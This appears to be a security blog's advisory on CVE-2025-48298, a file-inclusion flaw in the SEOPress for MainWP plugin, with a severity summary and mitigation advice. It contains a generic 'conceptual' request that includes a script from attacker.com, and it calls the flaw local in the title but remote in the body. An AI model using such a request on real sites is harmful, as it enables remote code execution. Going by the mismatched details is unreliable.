{"id":86825,"date":"2026-04-01T01:02:53","date_gmt":"2026-04-01T01:02:53","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T00:00:00","slug":"cve-2025-48298-php-local-file-inclusion-vulnerability-in-benjamin-denis-seopress-for-mainwp","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-48298-php-local-file-inclusion-vulnerability-in-benjamin-denis-seopress-for-mainwp\/","title":{"rendered":"CVE-2025-48298: PHP Local File Inclusion Vulnerability in Benjamin Denis SEOPress for MainWP<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The vulnerability CVE-2025-48298 is a significant security oversight in the SEOPress for MainWP plugin, developed by Benjamin Denis. Specifically, it involves an improper control of the filename for include\/require statement in PHP, also known as ‘PHP Remote File Inclusion’. This vulnerability could potentially lead to severe system compromise or data leakage, impacting the privacy and security of users.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-48298
\nSeverity: High (7.5)
\nAttack Vector: Network
\nPrivileges Required: Low
\nUser Interaction: None
\nImpact: Potential system compromise or data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Benjamin Denis SEOPress for MainWP | Up to and including 1.4<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability stems from the improper control of filenames for include\/require statements in PHP programs. An attacker can abuse this oversight by tricking the system into including a file from a remote server that contains malicious code. This code is then executed in the context of the application, potentially leading to unauthorized access, data leakage, or even a system compromise.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here’s a conceptual example of how the vulnerability might be exploited:<\/p>\n

GET \/include.php?file=http:\/\/attacker.com\/malicious_script.txt HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n
In the above example, an attacker could use a URL parameter to inject a path to a malicious script hosted on their server. When the ‘include.php’ file is processed by the server, it includes the content of the malicious script and executes it, leading to potential system compromise.<\/p>\n
Mitigation Guidance<\/strong><\/p>\n
To mitigate this vulnerability, users are advised to apply the latest patch provided by the vendor. In the absence of a patch, users can employ a web application firewall (WAF) or intrusion detection system (IDS) as a temporary solution. However, these are not long-term solutions and may not completely protect against the exploit. As a best practice, regular updating of software should be maintained to protect against known vulnerabilities.<\/p>\n","protected":false},"excerpt":{"rendered":"
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